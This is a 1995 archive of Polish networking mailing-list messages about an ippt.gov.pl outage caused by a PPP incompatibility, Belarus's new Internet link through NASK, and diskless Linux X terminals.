X-Mailer: ELM [version 2.4 PL20]
Content-Type: text
Content-Length: 308       

> 
> Witam,
> 
> chcial bym sie dowiedziec, czy ktos moze wie dlaczego od mniej-wiecej
> tygodnia z sieci zniknela domena ippt.gov.pl?
> 
> --
> 
>                                73 de Andy SP5WCA
dodatkowo inne sieci w gov.pl maja trudnosci (w ippt jest glowny serwer
domeny gov.pl).

   Staszek Kurpiewski
From geniwick@cyfronet.krakow.pl Wed Jan  4 16:09:49 1995
Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA07554; Wed, 4 Jan 95 16:05:34 +0100
Return-Path: <geniwick@cyfronet.krakow.pl>
Received: from kinga.cyf-kr.edu.pl (kinga.cyf-kr.edu.pl [149.156.4.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with ESMTP id QAA25273 for <polip@zsku.p.lodz.pl>; Wed, 4 Jan 1995 16:15:02 +0100
Received: from [149.156.2.26] (jacek.cyf-kr.edu.pl [149.156.2.26]) by kinga.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id QAA21982 for <polip@zsku.p.lodz.pl>; Wed, 4 Jan 1995 16:10:05 +0100
Message-Id: <199501041510.QAA21982@kinga.cyf-kr.edu.pl>
X-Sender: geniwick@kinga.cyf-kr.edu.pl
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Wed, 4 Jan 1995 16:18:25 +0100
To: polip@zsku.p.lodz.pl
From: geniwick@cyfronet.krakow.pl (Jacek Niwicki)
Subject: Full Internet in Belarus


Przedgladajac predswiateczne (zalegle) maile natknalem sie na
ponizszy tekst.

Pragne zwrocic uwage na koncowy akapit mowiacy o podlaczeniu Minska z Warszawa
i wspolpraca z NASK


>Received: from erasmus.terena.nl by relay.surfnet.nl with SN-SMTP (PP);
>          Tue, 13 Dec 1994 18:12:55 +0100
>Received: by erasmus.terena.nl (5.65c/4.33)     id AA02697;
>          Tue, 13 Dec 1994 18:12:40 +0100
>Received: from unibel.by ([193.232.92.33]) by erasmus.terena.nl (5.65c/4.33)
>          with SMTP     id AA02691; Tue, 13 Dec 1994 18:12:33 +0100
>Received: from brc by unibel.by with uucp       (sendmail 8.6.6/8.6.8)
>          id m0rHall-000VRDC; Tue, 13 Dec 94 19:12 EET
>Received: by brc.minsk.by (uumail/ache) with UUCP       id AA10595;
>          Tue, 13 Dec 1994 19:09:03 +0200
>Received: by ok.minsk.by (UUPC/@ v6.07alpha, 08Mar94) with UUCP;
>          Tue, 13 Dec 1994 18:55:46 +0200
>To: ceec@terena.nl
>Message-Id: <AAI8Txkei9@ok.minsk.by>
>Organization: Open Contact, Ltd.
>From: Sergei Kritsky <kritsky@ok.minsk.by>
>Date: Tue, 13 Dec 94 18:55:46 +0200
>Subject: Full Internet in Belarus
>X-Mailer: BML [MS/DOS Beauty Mail v1.36h]
>Lines: 53
>Mime-Version: 1.0
>Content-Type: text/plain; charset=us-ascii
>Content-Transfer-Encoding: 7bit
>Content-Length: 1950
>Sender: ceec-request@terena.nl
>Status: RO
>
>   UNIBEL: Network for Byelorussian Science and Education
>
>                Full Internet in Belarus
>
>                    December, 1994
>
>
>
>Currently the UNIBEL Network joins the most advanced universities,
>research institutes, government and public ogranizations
>dealing with science and education. UNIBEL is a result of joint
>efforts of these institutions and keeps tight contacts with
>all organizations and persons interested in developing academic
>and research networking in Belarus. UNIBEL is supported by
>Ministry of Education and Science of Republic Belarus, State
>Commitee of Science and Technology and Byelorussian Foundation
>for Fundamental Research.
>
>UNIBEL is involved in several projects intended to develop and
>improve networking infrastructure in Belarus, such as:
>- "Research and Development Computer Network of the Republic
>   of Belarus";
>- "Networking in Education: Ministry's Computer Network for
>   Administrative Purposes";
>- "Electronic Communications in High and Secondary Schools",
>   etc.
>
>UNIBEL Network was registered in RIPE in December 1993
>and IP numbers were assigned. UNIBEL is full national member
>of TERENA, EARN and CEENet.
>
>Since the begining of December the users of UNIBEL can be
>provided with full Internet services. Dedicated 9.6 Kbps
>line Minsk-Warsaw has been established and IP-connection
>has been put into operation due to great assistance of
>Polish Academic and Research Network NASK.
>
>Additionaly UNIBEL has an access to Internet through
>EUnet/Relcom network (Moscow) and UARNET (Lvov, Ukraine)
>via dial-up lines.
>
>Dedicated line to Moscow (FREEnet) was ordered and PTT licence
>was obtained. In future a satellite station will be installed
>with assistance of Poland (NASK) and CEENet. This satellite
>connection will replace the dedicated line Minsk-Warsaw.
>
>Correspondence to:
>
>        Andrey Ivanov  ivanov@ok.minsk.by
>
>        Sergei Kritsky  kritsky@ok.minsk.by
>
>        phone/fax: +7 (0172) 20 61 34


Pozdrawiam czytelniekow

_________________
(jn)	Jacek Niwicki   :-)

	ACK CYFRONET Krakow	ul. Nawojki 11

 geniwick@cyfronet.krakow.pl
 niwi@uci.agh.edu.pl
_________________


From news.polip@cyber.ict.pwr.wroc.pl Wed Jan  4 20:19:50 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA11136; Wed, 4 Jan 95 20:17:51 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id UAA03125 for polip@zsku.p.lodz.pl; Wed, 4 Jan 1995 20:21:27 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 4 Jan 1995 19:06:22 GMT
From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt)
Message-Id: <3eerje$lhc@ghost.mimuw.edu.pl>
Organization: Department of Maths and Computer Science, Warsaw University
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <3ebicn$296@cyber.ict.pwr.wroc.pl>
Subject: Re: Announce: X PC Server

Wojciech Myszka (myszka@immt.pwr.wroc.pl) wrote:
: Szanowni Panstwo,
: znalazlem takie interesujace obwieszczenie na temat mozliwosci wykorzystania
: PC z Linuxem jako X-terminala. Oprogramowanie jest dostepne 
: w ftp://ftp.immt.pwr.wroc.pl/pub/X-terminals
: pliki xpcs.doc i xpcsa.zip

: Dziala bardzo sprawnie, wymaga niestety pewnej minimalnej wiedzy na 
: temat plikow konfiguracyjnych XFree86 i doinstalowania fontow lub posiadana
: w najblizszej okolicy font serwera.

: Polecam

U nas PC z Linuxem sa uzywane sprawnie jako terminale Studenckim
Laboratorium. Konfiugracja to 486 z mono SVGA i 4 MB RAM (niektore 8). Sam
Linux jest upchniety w okolo. 20 MB dysku - oczywiscie, nie ma tam wlasciwie
nic innego poza tym, co potrzebne do takiego dzialania.

Przy czym przy stawianiu tego okolo roku temu korzystano z owczesnie
popularnej dystrybucji SLSa.

--

                               73 de Andy SP5WCA

/-------------------+--------+-------------------+-------------------------\
I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I   andy@sp5wca.ampr.org  I 
\-------------------+--------+-------------------+-------------------------/
From news.polip@cyber.ict.pwr.wroc.pl Wed Jan  4 23:59:52 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA14871; Wed, 4 Jan 95 23:57:49 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id XAA06560 for polip@zsku.p.lodz.pl; Wed, 4 Jan 1995 23:47:26 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: Wed, 4 Jan 1995 22:27:01 GMT
From: artur@thp2.if.uj.edu.pl (Artur Pioro)
Message-Id: <ARTUR.95Jan4232701@thp2.if.uj.edu.pl>
Organization: Physics Department of Jagiellonian University, Cracow, Poland
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <3ebicn$296@cyber.ict.pwr.wroc.pl>, <3eerje$lhc@ghost.mimuw.edu.pl>
Subject: Re: Announce: X PC Server

>>>>> "Andrzej"==Andrzej K Brandt <andy@eleet.mimuw.edu.pl> writes:

Andrzej> U nas PC z Linuxem sa uzywane sprawnie jako terminale
Andrzej> Studenckim Laboratorium. Konfiugracja to 486 z mono SVGA i 4
Andrzej> MB RAM (niektore 8). Sam Linux jest upchniety w okolo. 20 MB
Andrzej> dysku - oczywiscie, nie ma tam wlasciwie nic innego poza tym,
Andrzej> co potrzebne do takiego dzialania.

Jak do tej pory nie mialem doswiadczenia z Linuxem (ani takiej
potrzeby), ale skoro wiazaloby sie to z mozliwoscia darmowego
stworzenia X-Terminali na bazie posiadanych PC, to zastanawiam sie czy
nie warto by sie tym zainteresowac. Mam tylko pytanie czy jest mozliwa
konfiguracja 'diskless' Linuxa? To znaczy czy potrafi on przy starcie
systemu (komputera), po zaladowaniu jakiegos na prawde malego
bootstrapu z dyskietki lub malenkiej linuxowej partycji na HD dzialac
dalej w oparciu o zdalny (root) filesystem dostepny poprzez NFS?
Umozliwialoby to wykorzystanie u nas Linuxa/X-Free na o wiele wieksza
skale i czynilo gre warta swieczki...

------------------------------------------------------------------------
Artur Pioro				         artur@thp1.if.uj.edu.pl
Administrator sieci i systemow komputerowych  tel. +48-12-336377 ex. 575
Zaklad Teorii Czastek     Instytut Fizyki       Uniwersytet Jagiellonski
From news.polip@cyber.ict.pwr.wroc.pl Thu Jan  5 09:20:11 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA05035; Thu, 5 Jan 95 09:16:42 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id JAA14527 for polip@zsku.p.lodz.pl; Thu, 5 Jan 1995 09:10:26 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 5 Jan 1995 08:07:01 GMT
From: lukasz@nask.org.pl (Lukasz Ploszajski)
Message-Id: <3eg9b5$97q@bilbo.nask.org.pl>
Organization: Research And Academic Computer Network
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <3edutq$8am@ghost.mimuw.edu.pl>
Subject: Re: ippt.gov.pl poza siecia?

Andrzej K. Brandt (andy@eleet.mimuw.edu.pl) wrote:

: chcial bym sie dowiedziec, czy ktos moze wie dlaczego od mniej-wiecej
: tygodnia z sieci zniknela domena ippt.gov.pl?

Wiem (niestety). IPPT mialo polaczenie synchroniczne 64k na routerze ka9q
i tzw. czeskiej karcie. Chodzilo to dobrze ze starym software'm na cisco,
ale po wymianie na nowszy hardware i software okazalo sie, ze przestalo.
Przyczyna jest to, ze PPP w ka9q nie jest zaimplementowany zgodnie z
RFC i cisco nie moze sie z ka9q dogadac (inne polaczenia po PPP, np z routerem
na Novellu chodza OK.).

Rozwiazaniem tymczasowym na ktore IPPT sie zdecydowalo jest przejscie na
wolniejsze polaczenie asynchroniczne.

Przy okazji prosba do wszystkich: jesli ktos wie o programie routera  na PC
z dobrze zaimplementowanym PPP i dzialajacym na packet-driverach, to prosze
i informacje.

-Lukasz


From news.polip@cyber.ict.pwr.wroc.pl Thu Jan  5 17:00:52 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA12081; Thu, 5 Jan 95 16:57:11 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id QAA21985 for polip@zsku.p.lodz.pl; Thu, 5 Jan 1995 16:50:53 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 5 Jan 1995 15:38:22 GMT
From: ppogorze@PROBLEM_WITH_INEWS_DOMAIN_FILE (piotr pogorzelski)
Message-Id: <3eh3pe$glq@galaxy.uci.agh.edu.pl>
Organization: Instytut Podstawowych Problemow Techiniki Warszawa
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <3edutq$8am@ghost.mimuw.edu.pl>, <3eg9b5$97q@bilbo.nask.org.pl>
Reply-To: ppogorze@ippt.gov.pl
Subject: Re: ippt.gov.pl poza siecia?

Lukasz Ploszajski (lukasz@nask.org.pl) wrote:
: Andrzej K. Brandt (andy@eleet.mimuw.edu.pl) wrote:

: : chcial bym sie dowiedziec, czy ktos moze wie dlaczego od mniej-wiecej
: : tygodnia z sieci zniknela domena ippt.gov.pl?

: Wiem (niestety). IPPT mialo polaczenie synchroniczne 64k na routerze ka9q
: i tzw. czeskiej karcie. Chodzilo to dobrze ze starym software'm na cisco,
: ale po wymianie na nowszy hardware i software okazalo sie, ze przestalo.

Do tej pory OK.

: Przyczyna jest to, ze PPP w ka9q nie jest zaimplementowany zgodnie z
: RFC i cisco nie moze sie z ka9q dogadac (inne polaczenia po PPP, np z routerem
: na Novellu chodza OK.).

: Rozwiazaniem tymczasowym na ktore IPPT sie zdecydowalo jest przejscie na
: wolniejsze polaczenie asynchroniczne.

Na tym samym komputerze co do tej pory i tym samym ka9q. Tylko bez tej czeskiej
karty. Wiec problemu nie nalezy szukac w ka9q. Szkoda, ze dzialania NASK-u
sprowadzily sie tylko do namawiania nas do kupna dobrego routera lub 
przyjecia tego "tymczasowego rozwiazania".

: Przy okazji prosba do wszystkich: jesli ktos wie o programie routera  na PC
: z dobrze zaimplementowanym PPP i dzialajacym na packet-driverach, to prosze
: i informacje.

moze ka9q, dziala z nowym sprzetem i oprogramowaniem CISCO

: -Lukasz

piotr pogorzelski
From news.polip@cyber.ict.pwr.wroc.pl Thu Jan  5 17:40:52 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA13136; Thu, 5 Jan 95 17:36:35 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id RAA22810 for polip@zsku.p.lodz.pl; Thu, 5 Jan 1995 17:38:43 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 5 Jan 1995 16:34:04 GMT
From: ind43@sun1000.ci.pwr.wroc.pl (Marek Michalkiewicz)
Message-Id: <3eh71s$l9@sun1000.ci.pwr.wroc.pl>
Organization: Technical Univeristy of Wroclaw
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <3ebicn$296@cyber.ict.pwr.wroc.pl>, <3eerje$lhc@ghost.mimuw.edu.pl>, <ARTUR.95Jan4232701@thp2.if.uj.edu.pl>
Subject: Re: Announce: X PC Server

Artur Pioro (artur@thp2.if.uj.edu.pl) wrote:
: Jak do tej pory nie mialem doswiadczenia z Linuxem (ani takiej
: potrzeby), ale skoro wiazaloby sie to z mozliwoscia darmowego
: stworzenia X-Terminali na bazie posiadanych PC, to zastanawiam sie czy
: nie warto by sie tym zainteresowac. Mam tylko pytanie czy jest mozliwa
: konfiguracja 'diskless' Linuxa? To znaczy czy potrafi on przy starcie
: systemu (komputera), po zaladowaniu jakiegos na prawde malego
: bootstrapu z dyskietki lub malenkiej linuxowej partycji na HD dzialac
: dalej w oparciu o zdalny (root) filesystem dostepny poprzez NFS?

Zdalny root to chyba nie, ale moze byc zdalny /usr (tylko do odczytu)
dzieki czemu root moglby byc bardzo maly.  Moglby nawet byc ladowany
z dyskietki (do RAM-dysku, wiec dyskietke mozna pozniej wyjac).  W ten
sposob mozna byloby obejsc sie nawet bez dysku twardego - warunkiem jest
jednak wystarczajaca ilosc RAM (min. 8MB, bo trzeba odjac od tego 1.44MB
na RAM-dysk, poza tym nie ma swap-a).  Nie wiem tylko, jak szybko by to
dzialalo - NFS ma opinie dosc wolnego, choc w nowszych wersjach podobno
cos tu poprawiono.  Pomysl wyglada niezle...

Pozdrawiam
--
Marek Michalkiewicz
marekm@i17linuxa.ists.pwr.wroc.pl || ind43@ci3ux.ci.pwr.wroc.pl
From news.polip@cyber.ict.pwr.wroc.pl Thu Jan  5 18:20:16 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA14425; Thu, 5 Jan 95 18:16:39 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id SAA23722 for polip@zsku.p.lodz.pl; Thu, 5 Jan 1995 18:21:15 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 5 Jan 1995 17:04:35 GMT
From: wrobel@tsunami.kaniup.agh.edu.pl (Grzegorz Wrobel)
Message-Id: <3eh8r3$6hs@galaxy.uci.agh.edu.pl>
Organization: University of Mining & Metallurgy
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <3ebicn$296@cyber.ict.pwr.wroc.pl>, <3eerje$lhc@ghost.mimuw.edu.pl>, <ARTUR.95Jan4232701@thp2.if.uj.edu.pl>
Subject: Re: Announce: X PC Server

Artur Pioro (artur@thp2.if.uj.edu.pl) wrote:
: nie warto by sie tym zainteresowac. Mam tylko pytanie czy jest mozliwa
: konfiguracja 'diskless' Linuxa? To znaczy czy potrafi on przy starcie
: systemu (komputera), po zaladowaniu jakiegos na prawde malego
: bootstrapu z dyskietki lub malenkiej linuxowej partycji na HD dzialac
: dalej w oparciu o zdalny (root) filesystem dostepny poprzez NFS?
: Umozliwialoby to wykorzystanie u nas Linuxa/X-Free na o wiele wieksza
: skale i czynilo gre warta swieczki...

  O ile mnie pamiec nie myli, to jest taki pakiet stworzony chyba 
  na Wegrzech. Z tego co pamietam z opisu, moglo to startowac 
  z dysku, dyskietki lub nawet z bootproma (ale glowy nie dam).
  Dziala toto przy uzyciu bootp, a potem przez TFTP sciaga sobie
  z servera kernel linuxa i dalej dziala na filesystemie servera przez NFS. 
  Moge sprobowac znalezc adres, gdzie tego szukac (pamietam, ze gdzies
  go zapisywalem, tylko gdzie ...).
  Aha, na pewno byly do tego zrodla.

  Grzegorz Wrobel
--
  Grzegorz Wrobel
  wrobel@tsunami.kaniup.agh.edu.pl   wrobel@galaxy.uci.agh.edu.pl
  University of Mining and Metallurgy
  Krakow, Poland
 
From krzysio@hebe.umcs.lublin.pl Thu Jan  5 18:30:52 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA14754; Thu, 5 Jan 95 18:26:33 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: by hebe.umcs.lublin.pl (931110.SGI/930416.SGI)
	for polip@zsku.p.lodz.pl id AA01058; Thu, 5 Jan 95 18:34:24 +0100
From: krzysio@hebe.umcs.lublin.pl (Krzysztof Mlynarski)
Message-Id: <9501051734.AA01058@hebe.umcs.lublin.pl>
Subject: Re: Announce: X PC Server
To: polip@zsku.p.lodz.pl
Date: Thu, 5 Jan 1995 18:34:24 +0100 (MET)
In-Reply-To: <3eh71s$l9@sun1000.ci.pwr.wroc.pl> from "Marek Michalkiewicz" at Jan 5, 95 05:45:09 pm
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 1286      

Marek Michalkiewicz wrote:
> 
> Nie wiem tylko, jak szybko by to
> dzialalo - NFS ma opinie dosc wolnego, choc w nowszych wersjach podobno
> cos tu poprawiono.  Pomysl wyglada niezle...
> 

Mysle ze szybciej, niz trwa zbootowanie oryginalnego xterma firmy NCD
(okolo 5 min.) - terminal ten do startu wykorzystuje tftp :)

						Pozdrawiam,
						   -Krzysio

--
+--------------------------------------------------------------------+
| E-mail:                                         IRC:               |
| krzysio@hebe.umcs.lublin.pl                         Krzysio        |
| krzysio@eleet.mimuw.edu.pl                                         |
| krzysio@posejdon.kul.lublin.pl                                     |
| krzysio@laplace.informatics.sunysb.edu          Radio:             |
| root@hebe.umcs.lublin.pl                            SQ5ASM         |
| root@cool.umcs.lublin.pl                                           |
| root@posejdon.kul.lublin.pl                                        |
|                                                                    |
|     "You can't kill ... what was killed before ..."                |
|                                     - unknown vampire              |
+--------------------------------------------------------------------+


From news.polip@cyber.ict.pwr.wroc.pl Thu Jan  5 19:01:52 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA16077; Thu, 5 Jan 95 18:56:35 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id TAA24518 for polip@zsku.p.lodz.pl; Thu, 5 Jan 1995 19:01:20 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 5 Jan 1995 17:53:47 GMT
From: lukasz@nask.org.pl (Lukasz Ploszajski)
Message-Id: <3ehbnb$2v1@bilbo.nask.org.pl>
Organization: Research And Academic Computer Network
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <3edutq$8am@ghost.mimuw.edu.pl>, <3eg9b5$97q@bilbo.nask.org.pl>, <3eh3pe$glq@galaxy.uci.agh.edu.pl>
Subject: Re: ippt.gov.pl poza siecia?

piotr pogorzelski (ppogorze@PROBLEM_WITH_INEWS_DOMAIN_FILE) wrote:
: Lukasz Ploszajski (lukasz@nask.org.pl) wrote:

: : Wiem (niestety). IPPT mialo polaczenie synchroniczne 64k na routerze ka9q
: : i tzw. czeskiej karcie. Chodzilo to dobrze ze starym software'm na cisco,
: : ale po wymianie na nowszy hardware i software okazalo sie, ze przestalo.

: Do tej pory OK.

: : Przyczyna jest to, ze PPP w ka9q nie jest zaimplementowany zgodnie z
: : RFC i cisco nie moze sie z ka9q dogadac (inne polaczenia po PPP, np z routerem
: : na Novellu chodza OK.).

: : Rozwiazaniem tymczasowym na ktore IPPT sie zdecydowalo jest przejscie na
: : wolniejsze polaczenie asynchroniczne.

: Na tym samym komputerze co do tej pory i tym samym ka9q. Tylko bez tej czeskiej
: karty. Wiec problemu nie nalezy szukac w ka9q. Szkoda, ze dzialania NASK-u
: sprowadzily sie tylko do namawiania nas do kupna dobrego routera lub 
: przyjecia tego "tymczasowego rozwiazania".

: : Przy okazji prosba do wszystkich: jesli ktos wie o programie routera  na PC
: : z dobrze zaimplementowanym PPP i dzialajacym na packet-driverach, to prosze
: : i informacje.

: moze ka9q, dziala z nowym sprzetem i oprogramowaniem CISCO

Chwila moment, dziala ka9q z polaczeniem asynchronicznym z protokolem SLIP.
Zrobilem blad (mea culpa) - to nie wina ka9q, a packet-drivera do czeskiej
karty, co i tak nie zmienia konsekwencji.

A swoja droga, to jak swiat swiatem to abonenci dostosowuja sie do standardu
operatora, a nie na odwrot.  Chyba nikt nie ma pretensji do TP S.A. za to, 
ze wymienia centrale na nowsze, bo stare juz nie zdaja egzaminu i nie pisze
petycji z tego powodu, ze przedwojenne telefony zle wybieraja numery.
A poza tym nikt z nas przeciez nie wiedzial, ze taki problem powstanie. 
To packet-driver do karty nie jest zgodny ze standardem, a nie software
w Cisco.

Juz widze, jaka dyskusje rozpetam :-)

Pozdrowienia

-Lukasz



From kokowski@CS.PUT.Poznan.PL Thu Jan  5 20:25:53 1995
Received: from syriusz.cs.put.poznan.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA17414; Thu, 5 Jan 95 20:24:05 +0100
Return-Path: <kokowski@CS.PUT.Poznan.PL>
Received: from wega.ics.tup.edu.pl (wega.cs.put.poznan.pl) by syriusz.cs.put.poznan.pl (4.1/SMI-4.1)
	id AA02725; Thu, 5 Jan 95 20:32:47 +0100
Subject: Re: ippt.gov.pl poza siecia?
To: polip@zsku.p.lodz.pl
Date: Thu, 5 Jan 1995 20:19:36 +0100 (CEU)
From: Tomasz Kokowski <kokowski@CS.PUT.Poznan.PL>
In-Reply-To: <3ehbnb$2v1@bilbo.nask.org.pl> from "Lukasz Ploszajski" at Jan 5, 95 07:07:03 pm
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Length: 1212      
Message-Id:  <9501052019.aa02435@wega.ics.tup.edu.pl>

> 
> A swoja droga, to jak swiat swiatem to abonenci dostosowuja sie do standardu
> operatora, a nie na odwrot.  Chyba nikt nie ma pretensji do TP S.A. za to, 
> ze wymienia centrale na nowsze, bo stare juz nie zdaja egzaminu i nie pisze
> petycji z tego powodu, ze przedwojenne telefony zle wybieraja numery.
> A poza tym nikt z nas przeciez nie wiedzial, ze taki problem powstanie. 
> To packet-driver do karty nie jest zgodny ze standardem, a nie software
> w Cisco.
> 
> Juz widze, jaka dyskusje rozpetam :-)
>
  I oczywiscie. 

  ... a ile znacza nowe wersje oprogramowania do routera to moga  cos na
ten temat powiedziec uzytkownicy DECNIS-ow.

  Swoja droga mozna by sie czasami zainteresowac z czym ludzie przychodza do
sieci. "Dobrze prowadzeni" (sprawdzony sprzet) to mniej klopotow i tyle.

  Podlaczenie sie do sieci Politechniki Poznanskiej jest uwarunkowane 
uzyskaniem akceptacji konfiguracji sprzetowej, a juz najlepiej jesli
jest to sprzet znany, sprawdzony, pewny itd. Wewnatrz swoich sieci 
uzytkownicy moga podlaczac sie bez takiej akceptacji - to ich wewnetrzna
sprawa. Jesli natomiast chca aby ktos byl za to odpowiedzialny to musza 
nieco "odpuscic" ze swej suwerennosci.

Tomasz Kokowski
From news.polip@cyber.ict.pwr.wroc.pl Fri Jan  6 00:20:10 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA19907; Fri, 6 Jan 95 00:16:31 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id AAA29908 for polip@zsku.p.lodz.pl; Fri, 6 Jan 1995 00:21:23 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 5 Jan 1995 22:24:12 GMT
From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt)
Message-Id: <3ehric$db@ghost.mimuw.edu.pl>
Organization: Department of Maths and Computer Science, Warsaw University
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <3eg9b5$97q@bilbo.nask.org.pl>, <3eh3pe$glq@galaxy.uci.agh.edu.pl>, <3ehbnb$2v1@bilbo.nask.org.pl>
Subject: Re: ippt.gov.pl poza siecia?

Lukasz Ploszajski (lukasz@nask.org.pl) wrote:
: piotr pogorzelski (ppogorze@PROBLEM_WITH_INEWS_DOMAIN_FILE) wrote:
: : Lukasz Ploszajski (lukasz@nask.org.pl) wrote:

: : : Wiem (niestety). IPPT mialo polaczenie synchroniczne 64k na routerze ka9q
: : : i tzw. czeskiej karcie. Chodzilo to dobrze ze starym software'm na cisco,
: : : ale po wymianie na nowszy hardware i software okazalo sie, ze przestalo.

: : Do tej pory OK.

: : : Przyczyna jest to, ze PPP w ka9q nie jest zaimplementowany zgodnie z
: : : RFC i cisco nie moze sie z ka9q dogadac (inne polaczenia po PPP, np z routerem
: : : na Novellu chodza OK.).

: : : Rozwiazaniem tymczasowym na ktore IPPT sie zdecydowalo jest przejscie na
: : : wolniejsze polaczenie asynchroniczne.

: : Na tym samym komputerze co do tej pory i tym samym ka9q. Tylko bez tej czeskiej
: : karty. Wiec problemu nie nalezy szukac w ka9q. Szkoda, ze dzialania NASK-u
: : sprowadzily sie tylko do namawiania nas do kupna dobrego routera lub 
: : przyjecia tego "tymczasowego rozwiazania".

: : : Przy okazji prosba do wszystkich: jesli ktos wie o programie routera  na PC
: : : z dobrze zaimplementowanym PPP i dzialajacym na packet-driverach, to prosze
: : : i informacje.

: : moze ka9q, dziala z nowym sprzetem i oprogramowaniem CISCO

: Chwila moment, dziala ka9q z polaczeniem asynchronicznym z protokolem SLIP.
: Zrobilem blad (mea culpa) - to nie wina ka9q, a packet-drivera do czeskiej
: karty, co i tak nie zmienia konsekwencji.
Czegos tu nie rozumiem. Po pierwsze, o ile wiem, to KA9Q ma prawie wszystko
zgodne z odnosnym RFC. Po drugie, nie rozumiem jak packet driver moze zle
wyplywac na komunikacje z CISCO. Przeciez - o ile sie nie myle - takowy
sluzy wylacznie do tego, zeby sie program na komputerze mogl wygodnie, przez
standardowy interface dogadac z karta. Karta wysyla takie same pakiety
niezaleznie od tego, jaki driver jest. Pakiety poziomu IP i wyzej i tak robi
KA9Q (a raczej - przekazuje), KA9Q rowniez w tym rozwiazaniu robi PPP - co
wiec wlasciwie robi ta karta? Moze to ona jest raczej przyczyna
niezgodnosci.

Swoja droga, to smieszne, zeby IPPT, ktore od centrali NASK w CIUW jest o
kilka krokow, a od CRITu tez niedaleko mialo takie wolne lacza. No i dziwne,
ze nie stac ich na normalny router, zeby skonczyc te szopki. O ile pamietam,
to tam zwykle sie z pieniedzmi nie liczono specjalnie.


--

                               73 de Andy SP5WCA

/-------------------+--------+-------------------+-------------------------\
I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I   andy@sp5wca.ampr.org  I 
\-------------------+--------+-------------------+-------------------------/
From news.polip@cyber.ict.pwr.wroc.pl Fri Jan  6 12:08:36 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA01997; Fri, 6 Jan 95 12:06:50 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
